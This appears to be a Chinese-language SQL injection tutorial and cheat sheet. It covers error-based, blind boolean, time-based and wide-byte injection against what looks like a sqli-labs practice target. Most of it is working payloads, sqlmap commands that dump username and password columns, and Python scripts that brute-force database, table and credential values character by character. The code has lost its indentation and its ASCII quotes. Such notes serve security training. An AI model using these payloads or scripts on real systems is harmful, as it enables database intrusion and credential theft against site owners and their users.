1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
1’ and extractvalue (1,concat (0x7e,(select table_name from information_schema.tables where table_schema=‘数据库名’ limit 0,1),0x7e)) #
(3) 爆列
1’ and updatexml (1,concat (0x7e,(select group_concat (column_name) from information_schema.columns where table_schema=database ()),0x7e),1) #
1’ and updatexml (1,concat (0x7e,(select group_concat (column_name) from information_schema.columns where table_name=‘表名’),0x7e),1) #
1’ and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_name=‘表名’ limit 0,1),0x7e),1) #
1’ and extractvalue (1,concat (0x7e,(select group_concat (column_name) from information_schema.columns where table_name=‘表名’),0x7e)) #
1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e))#
1’ and extractvalue (1,concat (0x7e,(select column_name from information_schema.columns where table_name=‘表名’ limit 0,1),0x7e))#
(4) 爆值
1’ and updatexml (1,concat (0x7e,(select group_concat (表名对应的字段名) from (数据库。表名)),0x7e),1) #
1’ and extractvalue (1,concat (0x7e,(select group_concat (表名对应的字段名) from (数据库。表名)),0x7e)) #
各种报错注入
- 概念
insert /update 注入是指我们前端注册的信息,后台会通过 insert/update 这个操作插入 / 更新到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。
1、insert 注入:注册的信息,没有经过过滤直接带到数据库中,导致 insert 注入。
2、update 注入:用户登陆端,没有经过过滤直接带到数据库中,导致 update 注入。
3、dalete 注入:应用于前后端发贴、留言、用户等相关删除操作时抓包。
4、Http Header 注入:数据库直接获取了前端的头信息没有做任何的处理导致注入。
5、Cookie 注入:后端获取 Cookie 直接在数据库中进行拼接,那这也是一个 SQL 注入点。
注入方法 :在 ant [uname]=admin 后添加一个’观察反馈的 MYSQL 的语法报错,发现了存在 SQL 注入漏洞后,再插入 payload: 'and updatexml (1,concat (0x7e,database ()),0)#
布尔盲注
- 概念
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答 “是” 或者 “是”,因此你需要询问它这样的问题,例如 “数据库名字的第一个字母是不是 a 啊?” 通过这种机械的询问,最终获得你想要的数据。 - 利用情景
页面上没有显示位,并且没有输出 SQL 语句执行错误信息
只能通过页面返回正常与不正常判断 - 步骤
1. 判断是否存在注入,注入是字符型还是数字型
2. 猜解当前数据库名
3. 猜解数据库中的表名
4. 猜解表中的字段名
5. 猜解数据 - 盲注常用函数
函数 描述 left (字符串,截取长度) 从左边截取指定长度的字符串 length (字符串) 获取字符串的长度 ascii (字符串) 将指定字符串进行 ascii 编码 substr (字符串,start,截取长度) 截取字符串,可以指定起始位置和长度 mid (字符串,start,截取长度) 截取字符串,可以指定起始位置和长度 count() 计算总数,返回匹配条件的行数。 sleep(n) 将程序挂起 n 秒 if (参数 1,参数 2,参数 3) 参数 1 为条件,当参数 1 返回的结果为 true 时,执行参数 2,否则执行参数 3
手工实现布尔盲注
- 判断是数字型还是字符型
- 猜解数据库长度
使用 length () 判断数据库长度,二分法可提高效率
?id=1’ and length (database ())>5 --+
?id=1’ and length(database())<10 --+
?id=1’ and length(database())=8 --+
【length=8】 - 猜当前数据库名
方法 1:使用 substr 函数
?id=1’ and substr (database (),1,1)>‘r’–+
?id=1’ and substr(database(),1,1)<‘t’–+
?id=1’ and substr(database(),1,1)=‘s’–+
?id=1’ and substr(database(),2,1)=‘e’–+
…
?id=1’ and substr(database(),8,1)=‘y’–+
【security】
方法 2:使用 ascii 函数和 substr 函数
?id=1’ and ascii (substr (database (),1,1))>114 --+
?id=1’ and ascii(substr(database(),1,1))<116 --+
?id=1’ and ascii(substr(database(),1,1))=115 --+
【security】
方法 3:使用 left 函数
?id=1’ and left (database (),1)>‘r’–+
?id=1’ and left(database(),1)<‘t’–+
?id=1’ and left(database(),1)=‘s’ --+
?id=1’ and left(database(),2)=‘se’ --+
?id=1’ and left(database(),3)=‘sec’ --+
…
?id=1’ and left(database(),8)=‘security’ --+
【security】
方法 4:使用 Burpsuite 的 Intruder 模块
将获取数据库第一个字符的请求包拦截并发送到 Intruder 模块
设置攻击变量以及攻击类型
设置第一个攻击变量,这个变量是控制第几个字符的
设置第二个攻击变量,这个变量是数据库名字符
开始攻击,一小会就能得到测试结果,通过对长度和变量进行排序可以看到数据库名成功得到 - 判断表的个数
count () 函数是用来统计表中记录的一个函数,返回匹配条件的行数。
?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+
?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
【4 个表】
5. 判断表的长度
limit 可以被用于强制 select 语句返回指定的条数。
?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
【第一个表长度为 6】
?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
【第二个表长度为 8】
6. 猜解表名
方法 1:使用 substr 函数
?id=1’ and substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1)>‘d’ --+
?id=1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>‘f’ --+
?id=1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘e’ --+
…
?id=1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)=‘s’ --+
【第一个表名为 emails】
方法 2:使用 Burpsuite 的 Intruder 模块
7. 猜解字段名和字段信息
#确定字段个数
?id=1’ and (select count (column_name) from information_schema.columns where table_schema=database () and table_name = ‘users’)>0 --+
?id=1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = ‘users’)=3 --+
【字段个数为 3】
# 确定字段名的长度
?id=1’ and length ((select column_name from information_schema.columns where table_schema=database () and table_name = ‘users’ limit 0,1))>0 --+
?id=1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name = ‘users’ limit 0,1))=2 --+
?id=1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name = ‘users’ limit 1,1))=8 --+
【第一个字段长度为 2,第二个字段长度为 8】
# 猜字段名 同上使用 burp ?i
d=1’ and substr((select column_name from information_schema.columns where table_schema=database() and table_name = ‘users’ limit 0,1),1,1)=‘i’ --+ 【…id,username,password…】
# 确定字段数据长度
?id=1’ and length ((select username from users limit 0,1))=4 --+
【第一个字段数据长度为 4】
# 猜解字段数据 同上使用 burp
?id=1’ and substr((select username from users limit 0,1),1,1)=‘d’ --+
?id=1’ and ascii(substr((select username from users limit 0,1),1,1))>79 --+
【第一个 username 数据为 dumb】
SqlMap 实现布尔盲注
–batch: 用此参数,不需要用户输入,将会使用 sqlmap 提示的默认值一直运行下去。
–technique: 选择注入技术,B:Boolean-based-blind (布尔型盲注)
–threads 10 : 设置线程为 10,运行速度会更快
#查询数据库 #【security】
python sqlmap.py -u “http://139.224.112.182:8087/sqli1/Less-5/?id=1” --dbs --batch --threads 10
# 获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u “http://139.224.112.182:8087/sqli1/Less-5/?id=1” -D security --tables --batch --threads 10
# 获取表中的字段名 #【id、username、password】
python sqlmap.py -u “http://139.224.112.182:8087/sqli1/Less-5/?id=1” -D security -T users --columns --batch --threads 10
# 获取字段信息 #【Dumb|Dumb、dhakkan|dumbo …】
python sqlmap.py -u “http://139.224.112.182:8087/sqli1/Less-5/?id=1” -D security -T users -C username,password --dump --batch --threads 10
脚本实现布尔盲注
- 获取数据库名长度
#coding:utf-8
import requests
# 获取数据库名长度
def database_len ():
for i in range(1, 10):
url = ‘’‘http://139.224.112.182:8087/sqli1/Less-5/’’’
payload = ‘’’?id=1’ and length(database())=%d’’’ %i
r = requests.get(url + payload + ‘%23’) # %23 <==> --+
if ‘You are in’ in r.text:
print(‘database_length:’, i)
break
else:
print(i)
database_len()
【database_length: 8】
-
获取数据库名
#coding:utf-8
import requests
# 获取数据库名
def database_name ():
name = ‘’
for j in range(1,9):
for i in ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_’:
url = “http://139.224.112.182:8087/sqli1/Less-5/”
payload = “?id=1’ and substr(database(),%d,1)=’%s’ --+” %(j, i)
r = requests.get(url + payload)
if ‘You are in’ in r.text:
name = name + i
print(name)
break
print(‘database_name:’, name)
database_name()
#【database_name: security】 -
获取数据库中表
#coding:utf-8
import requests
# 获取数据库表
def tables_name ():
name = ‘’
for j in range(1, 30):
for i in ‘abcdefghijklmnopqrstuvwxyz,’:
url = “http://139.224.112.182:8087/sqli1/Less-5/”
payload = ‘’’?id=1’ and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)=’%s’ --+’’’ % (j, i)
r = requests.get(url + payload)
if ‘You are in’ in r.text:
name = name + i
print(name)
break
print(‘table_name:’, name)
tables_name()
#【table_name: emails,referers,uagents,users】
4. 获取表中字段
#coding:utf-8
import requests
# 获取表中字段
def columns_name ():
name = ‘’
for j in range(1, 30):
for i in ‘abcdefghijklmnopqrstuvwxyz,’:
url = “http://139.224.112.182:8087/sqli1/Less-5/”
payload = “?id=1’ and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),%d,1)=’%s’ --+” %(j, i)
r = requests.get(url + payload)
if ‘You are in’ in r.text:
name = name + i
print(name)
break
print(‘column_name:’, name)
columns_name()
#【column_name: id,username,password】 -
获取字段值
#coding:utf-8
import requests
# 获取字段值
def value ():
name = ‘’
for j in range(1, 100):
for i in ‘0123456789abcdefghijklmnopqrstuvwxyz,_-’:
url = “http://139.224.112.182:8087/sqli1/Less-5/”
payload = “?id=1’ and substr((select group_concat(username,password) from users),%d,1)=’%s’ --+” %(j, i)
r = requests.get(url + payload)
if ‘You are in’ in r.text:
name = name + i
print(name)
break
print(‘value:’, name)
value()
时间盲注
- 利用情景
页面上没有显示位
没有输出报错语句
正确的 sql 语句和错误的 sql 语句页面返回一致
手工实现时间盲注
?id=1
?id=1’
?id=1"
# 不管怎么样都不报错,不管对错一直显示一个固定的页面;
#判断注入点
?id=1’ and sleep (3)–+
# 页面响应延迟,判断存在时间延迟型注入
#获取数据库名长度
?id=1’ and if (length (database ())=8,sleep (3),1)–+
#获取数据库名
?id=1’ and if (substr (database (),1,1)=‘s’,sleep (3),1)–+
结合 Burpsuite 的 Intruder 模块爆破数据库名
将获取数据库第一个字符的请求包拦截并发送到 Intruder 模块
设置攻击变量以及攻击类型
设置第一个攻击变量,这个变量是控制第几个字符的
设置第二个攻击变量,这个变量是数据库名字符
开始攻击,一小会就能得到测试结果,通过对长度和变量进行排序可以看到数据库名成功得到
image-20200515211534056
image-20200515211534056
获取表名、字段名、字段信息等数据方法同上
SQLmap 实现时间盲注
–batch: 用此参数,不需要用户输入,将会使用 sqlmap 提示的默认值一直运行下去。
–technique: 选择注入技术,-T:Time-based blind (基于时间延迟注入)
–threads 10 : 设置线程为 10,运行速度会更快。
# 查询数据库 #【security】
python sqlmap.py -u “http://139.224.112.182:8087/sqli1/Less-9/?id=1” --dbs --batch --threads 10
# 获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u “http://139.224.112.182:8087/sqli1/Less-9/?id=1” -D security --tables --batch --threads 10
# 获取表中的字段名 #【id、username、password】
python sqlmap.py -u “http://139.224.112.182:8087/sqli1/Less-9/?id=1” -D security -T users --columns --batch --threads 10
# 获取字段信息 #【Dumb|Dumb、dhakkan|dumbo …】
python sqlmap.py -u “http://139.224.112.182:8087/sqli1/Less-9/?id=1” -D security -T users -C username,password --dump --batch --threads 10
脚本实现时间盲注
- 获取数据库名长度
#coding:utf-8
import requests
import datetime
# 获取数据库名长度
def database_len ():
for i in range(1, 10):
url = ‘’‘http://139.224.112.182:8087/sqli1/Less-9/’’’
payload = ‘’’?id=1’ and if(length(database())=%d,sleep(3),1)–+’’’ %i
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
print(‘database_len:’, i)
break
else:
print(i)
database_len() - 获取数据库名
#coding:utf-8
import requests
import datetime
# 获取数据库名
def database_name ():
name = ‘’
for j in range(1, 9):
for i in ‘0123456789abcdefghijklmnopqrstuvwxyz_’:
url = ‘’‘http://139.224.112.182:8087/sqli1/Less-9/’’’
payload = ‘’’?id=1’ and if(substr(database(),%d,1)=’%s’,sleep(1),1) --+’’’ % (j,i)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name = name + i
print(name)
break
print(‘database_name:’, name)
database_name()
获取表名、字段名、字段信息等数据的脚本类似上面布尔盲注脚本
宽字节注入
- 原理
宽字节注入是利用 mysql 的一个特性,mysql 在使用 GBK 编码的时候,会认为两个字符是一个汉字【前一个 ascii 码要大于 128,才到汉字的范围】
在 PHP 配置文件中 magic_quotes_gpc=On 或者使用 addslashes 函数,icov 函数,mysql_real_escape_string 函数、mysql_escape_string 函数等,提交的参数中如果带有单引号’, 就会被自动转义’,这样就使得多数注入攻击无效。
当输入单引号,假设这里我们使用 addslashes 转义,对应的 url 编码是:
’ –>’–> %5c%27
当在前面引入一个 ASCII 大于 128 的字符【比如 % df、% aa】,url 编码变为:
% df’ –> % df’ –> (% df%5C)%27–>(数据库 GBK)–> 運’
前端输入 % df’时首先经过上面 addslashes 函数和浏览器 url 编码转义变成了 % df%5c%27
因为数据库使用 GBK 编码的话,% df%5c 会被当作一个汉字处理,转换成了汉字” 運”,从而使 %27(单引号)逃出生天,成功绕过,利用这个特性从而可实施 SQL 注入的利用。
- 实战
- 手工注入
可以使用 union 联合注入方法
比如:?id=1% aa’ order by 1 --+
?id=1%df’ order by 1 --+
这里表名 table_name 的值必须转换成 16 进制,如果不用 16 进制就得用引号包裹,当有 addlashes 函数就会转义引号,就会导致查询失败,使用 16 进制避免了这个问题。 - 相类似操作进行爆库、爆表、爆值
- sqlmap
sqlmap -u “http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1�’” - 脚本实现注入
堆叠注入
过滤
- 爆库
Cyberangel 的知识库
- floor()
> floor 函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分
- GROUP BY
语句用于结合合计函数,根据一个或多个列对结果集进行分组。
- GROUP BY column_name
- COUNT(column_name)
函数返回指定列的值的数目(NULL 不计入)
- COUNT(*)
函数返回表中的记录数
- COUNT(DISTINCT column_name)
函数返回指定列的不同值的数目
- rand()
函数生成 0~1 之间的随机数,可以给定一个随机数的种子
- 查询的时候如果使用 rand () 的话,该值会被计算多次
- 在使用 group by 的时候,floor (rand (0)*2) 会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次
- 整个查询过程 floor (rand (0)*2) 被计算了 5 次,查询原数据表 3 次,所以这就是为什么数据表中需要 3 条数据,使用该语句才会报错的原因。
select count(),(concat(floor(rand(0)*2)),(select version()))) x from users group by x
- x 是别名
> 报错的原因:主要是因为虚拟表的主键重复
>
>
>
> 1'and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
> 嵌套查询原因:里面的查询结果是一个虚拟表,所以需要外套一个查询语句。